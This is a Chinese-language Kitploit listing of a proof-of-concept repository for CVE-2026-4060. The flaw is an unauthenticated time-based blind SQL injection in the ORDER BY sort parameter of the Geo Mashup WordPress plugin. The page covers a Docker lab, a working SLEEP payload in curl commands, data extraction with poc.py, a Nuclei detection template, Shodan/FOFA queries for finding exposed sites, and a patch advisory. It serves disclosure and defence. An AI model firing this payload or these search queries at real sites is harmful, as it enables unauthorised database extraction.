Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-4060-PoC — CVE-2026-4060 的概念验证:在 Geo Mashup WordPress 插件中通过 ORDER BY 子句实现的未经身份验证的基于时间的盲 SQL 注入。包含利用脚本、实验环境和 Nuclei 检测模板。 | Kitploit
工具/GitHubGitHub/ydking0911/cve-2026-4060-poc
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

CVE-2026-4060 的概念验证:在 Geo Mashup WordPress 插件中通过 ORDER BY 子句实现的未经身份验证的基于时间的盲 SQL 注入。包含利用脚本、实验环境和 Nuclei 检测模板。

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-4060 — Geo Mashup ≤ 1.13.18 未认证SQL注入PoC

Severity CVSS Type Status

未认证攻击者可以通过Geo Mashup render-map 端点的 sort 参数向 ORDER BY 子句注入任意SQL,实现基于时间的盲注,提取敏感数据库信息。


目录

  • 漏洞概述
  • 测试环境
  • 如何运行
  • 测试结果
  • 修复建议
  • 检测方法
  • 时间线
  • 参考资料

漏洞概述

技术细节

render-map 端点接收的 sort 参数未经任何净化直接传入 $wpdb->get_results() 调用:

root@kitploit:~
// render-map.php (简化)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
    "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);

由于 $sort 直接拼接,攻击者可以在 ORDER BY 子句中注入子查询。WordPress 的 wpdb 会转义单引号,因此PoC使用 ORD(SUBSTRING(...)) 配合数值比较来绕过此限制,实现基于时间的盲注。

存在漏洞的端点:

root@kitploit:~
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>

测试环境

实验架构

root@kitploit:~
┌─────────────────────────────────┐
│  主机(localhost:8080)          │
│                                 │
│  ┌─────────────┐  ┌──────────┐  │
│  │ WordPress   │  │ MariaDB  │  │
│  │ 6.8.2+PHP82 │──│  11.4    │  │
│  │ :80         │  │ :3306    │  │
│  └─────────────┘  └──────────┘  │
│       + Geo Mashup 1.13.18      │
└─────────────────────────────────┘

Geo Mashup 1.13.18 在WordPress管理后台中已激活:

Geo Mashup 1.13.18 在WordPress管理后台中已激活


如何运行

1. 启动实验环境

root@kitploit:~
git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh

setup.sh 将执行以下操作:

  • 启动 WordPress 6.8.2 + MariaDB 11.4 容器
  • 通过WP-CLI安装并激活 Geo Mashup 1.13.18(存在漏洞的版本)
  • 创建一篇带有地理标签的文章,确保地图端点返回有效响应

完成后的信息:

  • 站点: http://localhost:8080
  • 管理后台: http://localhost:8080/wp-admin(用户:admin / 密码:admin)

2. 确认漏洞存在(SLEEP注入)

root@kitploit:~
time curl -s -o /dev/null \
  "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

如果响应延迟约8秒,则确认存在 ORDER BY SQL注入。

3. 提取数据(PoC)

root@kitploit:~
# 默认 — 仅打印提取结果
python3 poc.py --url http://localhost:8080

# 详细模式 — 显示每个payload、响应时间和提取的字符
python3 poc.py --url http://localhost:8080 --verbose

# 仅确认SQL注入,跳过数据提取
python3 poc.py --url http://localhost:8080 --confirm-only

4. 运行Nuclei检测模板

root@kitploit:~
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080

5. 关闭实验环境

root@kitploit:~
docker compose down -v

测试结果

真实阳性(TP)— 存在漏洞的目标

TP-1: 确认 ORDER BY SLEEP(8) 注入

通过 sort 参数注入 SLEEP(8) 子查询,响应延迟约8秒。

root@kitploit:~
time curl -s -o /dev/null \
  "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

通过 ORDER BY 实现 SLEEP(8) — 响应时间 8.05秒

TP-2: 数据提取(详细模式)

PoC使用 ORD(SUBSTRING(...)) 逐字符比较提取数据:发送payload → 测量响应时间 → 当SLEEP触发时确认字符。

root@kitploit:~
python3 poc.py --url http://localhost:8080 --verbose

poc.py 详细模式 — payload、时序、提取的字符

提取的数据:

查询结果
VERSION()11.4.10-MariaDB
DATABASE()wordpress
USER()[email protected]

TP-3: Nuclei模板检测

root@kitploit:~
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29

扫描完成,耗时8.07秒。共发现1个匹配项。

假阳性(FP)— 不存在漏洞的目标

Nuclei模板采用两步流程以避免误报。

FP-1: Geo Mashup 未安装

如果第1步中 readme.txt 返回404,扫描会立即退出,不会发送SQL payload。

root@kitploit:~
扫描完成,耗时62ms。共发现0个匹配项。   ✅

FP-2: 已修补的版本(≥ 1.13.19)

通过 readme.txt 进行插件版本检查:

readme.txt 显示 Stable tag: 1.13.18

如果 compare_versions(version, '<= 1.13.18') 失败,则完全跳过第2步。

root@kitploit:~
扫描完成,耗时19ms。共发现0个匹配项。   ✅

修复建议

操作详情
更新将 Geo Mashup 升级至 1.13.19 或更高版本
临时措施在应用更新前,停用该插件
WAF阻止 ORDER BY 子句中的子查询注入模式

补丁提交:plugins.trac.wordpress.org/changeset/3503627


检测方法

Nuclei模板:nuclei/CVE-2026-4060.yaml

检测流程:

root@kitploit:~
第1步:GET /wp-content/plugins/geo-mashup/readme.txt
        → 确认插件存在且版本 <= 1.13.18

第2步:GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
        → 状态200 + GeoMashup.createMap + 持续时间 >= 8s

Shodan / FOFA:

root@kitploit:~
Shodan: http.html:"geo-mashup"
FOFA:   body="geo-mashup"

时间线

日期事件
2026年4月发现漏洞
2026年4月向插件作者报告
2026年5月Geo Mashup 1.13.19 补丁发布
2026年5月14日分配CVE并公开披露

参考资料

  • NVD — CVE-2026-4060
  • Wordfence Advisory
  • Plugin Changeset (fix)
  • CWE-89

免责声明

本仓库仅供教育和授权安全测试使用。
请勿对非您拥有或未获得明确书面许可的系统使用。
作者不对任何滥用此材料的行为负责。

下载工具
字段详情
CVECVE-2026-4060
插件Geo Mashup by cyberhobo
受影响版本≤ 1.13.18
修复版本1.13.19
CVSS v3.17.5(高危)— AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWECWE-89 — SQL注入中特殊元素的未正确转义
是否需要认证否(未认证)
组件版本
操作系统macOS (Darwin 25.4.0)
Docker27.x
WordPress6.8.2 (PHP 8.2, Apache)
MariaDB11.4
Geo Mashup1.13.18(存在漏洞)
Python3.x(用于 poc.py)
Nucleiv3.8.0